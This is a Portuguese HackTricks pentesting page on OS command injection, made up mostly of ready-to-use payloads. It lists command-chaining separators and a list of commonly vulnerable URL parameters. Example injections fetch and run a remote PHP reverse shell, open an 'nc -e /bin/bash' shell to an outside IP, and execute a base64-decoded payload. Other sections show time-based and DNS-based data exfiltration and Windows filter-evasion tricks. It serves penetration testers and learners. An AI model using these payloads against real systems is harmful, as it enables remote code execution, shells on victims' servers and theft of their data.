hacktricks/pentesting-web/command-injection.md

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# Command Injection
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{% hint style="success" %}
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<details>
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<summary>Support HackTricks</summary>
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</details>
{% endhint %}
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<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
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Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.\
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
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## O que é injeção de comando?
Uma **injeção de comando** permite a execução de comandos arbitrários do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos geralmente permite que o atacante obtenha acesso não autorizado ou controle sobre o ambiente da aplicação e o sistema subjacente.
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### Contexto
Dependendo de **onde sua entrada está sendo injetada**, você pode precisar **terminar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos.
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## Injeção/Execução de Comando
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
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ls${LS_COLORS:10:1}${IFS}id # Might be useful
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#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Limitações** Bypasses
Se você está tentando executar **comandos arbitrários dentro de uma máquina linux**, você vai se interessar em ler sobre esses **Bypasses:**
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{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
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{% endcontent-ref %}
### **Exemplos**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
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### Parâmetros
Aqui estão os 25 principais parâmetros que podem ser vulneráveis a injeção de código e vulnerabilidades semelhantes de RCE (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
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?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
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### Exfiltração de dados baseada em tempo
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Extraindo dados: caractere por caractere
```
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swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
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### Exfiltração de dados baseada em DNS
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Baseado na ferramenta de `https://github.com/HoLyVieR/dnsbin` também hospedada em dnsbin.zhack.ca
```
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1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
```
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$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Ferramentas online para verificar a exfiltração de dados baseada em DNS:
* dnsbin.zhack.ca
* pingb.in
### Bypass de filtragem
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#### Windows
```
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powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
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```
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#### Linux
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{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
{% endcontent-ref %}
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## Lista de Detecção de Força Bruta
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{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
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## Referências
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
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{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
<summary>Support HackTricks</summary>
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* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
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</details>
{% endhint %}
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<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
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\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\
Obtenha Acesso Hoje:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}